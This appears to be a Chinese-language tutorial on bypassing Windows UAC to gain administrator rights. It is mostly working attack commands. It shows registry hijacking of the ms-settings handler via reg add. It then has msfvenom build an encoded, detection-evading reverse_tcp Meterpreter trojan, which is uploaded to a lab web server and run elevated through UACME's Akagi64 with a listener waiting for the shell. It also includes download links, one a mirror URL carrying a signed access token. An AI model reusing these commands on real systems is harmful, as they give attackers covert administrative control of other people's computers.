UAC绕过提权

UAC：用户账户控制 (User Account Control )

         开启用户账户控制后，每个需要使用管理员访问令牌的应用都必须提示征得用户同意。 UAC 限制所有用户非 RID 500 的管理员用户 使用标准用户登录到他们的计算机，并在标准用户的安 全性上下文中访问资源和运行应用。 系统会为其创建两个单独的访问令牌：标准用户访问令牌和管理员访问令牌。 标准用户访问令牌用于启动不执行管理任务的应用程序（标准用户应用程序）。当 管理员需要执行高权限管理任务时， Windows 会自动提示用户予以批准，同意后则允许使用管理员访问 令牌。

UAC白名单

        即不询问直接启动的应用，如 slui.exe、wusa.exe、taskmgr.exe、msra.exe、 eudcedit.exe、eventvwr.exe.、CompMgmtLauncher.exe、 rundll32.exe、 explorer.exe等

白名单程序特性：Manifest 数据中 autoElevate 属性的值为 True；可以用Sigcheck检测。

UAC绕过

以ComputerDefaults.exe为例

sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe

找出所有具有autoElevate 属性的程序并定向输出到

strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" > 1.txt

        使用进程监控器 process monitor 监控某白名单程序进程的所有操作行为，发现进程会先查询注册表A的数据，但是查不到，就会去查B的，再查不到，就继续去查C。我们在注册表A中将要执行的攻击载荷路径分别写入 “ 默认 ” 值和 “DelegateExecute” 值。

以ComputerDefaults.exe为例

sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe

使用进程监控器 process monitor 监控 ComputerDefaults.exe 进程的所有操作行为

添加注册表

reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe" /f

reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\windows\system32\cmd.exe" /f

HKCU的注册表当前用户可修改；标准用户对该注册表键值有修改权限，并且对 HKCU 的修改会自动同步到 HKCR。

工具

官网地址（下载慢）

Sigcheck （ https://learn.microsoft.com/zh-cn/sysinternals/downloads/sigcheck ）

Strings （ https://learn.microsoft.com/en-us/sysinternals/downloads/strings ）

国内地址（下载快）

https://download.csdn.net/download/m0_65554829/88547642

利用UACME提权

gethub地址：https://github.com/hfiref0x/UACME/releases/tag/v3.6.5

私人地址：直接下载链接https://dl-download.csdn.net/down11/20231117/f8e7781624a66d6da9f3aa87a9831e28.zip?Expires=1700230423&OSSAccessKeyId=STS.NTSjB9EvV4Wkv8XYapjniF2VB&Signature=jZr3NJnxc%2FyHFi9opG%2BI3ieHy4s%3D&response-content-disposition=attachment%3Bfilename%3D%22UACME-3.6.3%2520%25E5%25B7%25B2%25E7%25BC%2596%25E8%25AF%2591.zip%22&Date=1700230423&security-token=CAISgwJ1q6Ft5B2yfSjIr5fmIfiNqKl3g5WAdB7pvWElZuFFqff9oDz2IHxFf3FoCOEYv%2Fk1nWlU6%2FoTlqF%2FTIBDQUvNYZPPSiHRJFrzDbDasumZsJYw6vT8a1fxZjf%2F2MjNGaCbKPrWZvaqbX3diyZ32sGUXD6%2BXlujQ%2BDr6Zl8dYY4UxX6D1tBH8wEAgp5tI1gQhm3D%2Fu2NQPwiWf9FVdhvhEG6Vly8qOi2MaRmHG85R%2FYsrZJ%2FtuvecD%2FMJI3Z8kvC4uPsbYoJvab4kl58ANX8ap6tqtA9Arcs8uVa1sruEnXaLKMo4wxfVIjP%2FFmRvIVtprnieY9tuiWkJ%2Fs25qImF%2BBkY61GoABrSvSxqN%2BO2SKDSI3ekkKA1i9Da7Vb8LjUDMiDPrdLALwtIOSkNTZC0QoVf4%2B7g3mqTCNTJX%2BsdEFlZDDzBnZJwnYu4g4ITkhSgknKJexR0n6GcNjC6mme3257nISthAe2YDb4JJQcHsc5y5Xb0f8KwDe2l5lkhmhQk2JhT6g2AQgAA%3D%3D

工具介绍

        UACME是一个专用于绕过Windows UAC的开源项目，目前已包含了70多种Bypass UAC的方法。

步骤

环境搭建

net user test1 /add

net localgroup administrators test1 /add

钓鱼绕过提权

#将MSF生成的payload.exe上传到目标服务器并运行payload.exe

msfconsole

#在msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 8888
run

getuid

shell

chcp 65001

net user test1

#尝试添加用户#失败

net user test2 /add

upload ~/upgrade/UACME-3.6.3 c:/phpstudy_pro/WWW/pikachu/vul/rce/uac

#生成一个新木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.129 lport=7777 -i 3 -e x86/shikata_ga_nai -f exe -o 7777.exe

#上传木马

upload ~/7777.exe ./

upload ~/upgrade/Akagi64.exe ./

#进入shell

shell

chcp 65001

#另开一个终端设置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 7777
run

#运行木马

.\Akagi64.exe 33 .\7777.exe

akagi.exe [Key] [Param]

#Key ，指定要使用的方法的编号

#Param ，指定绕过 UAC 后要运行的程序或命令，默认启动一个关闭了 UAC 的 CMD 窗口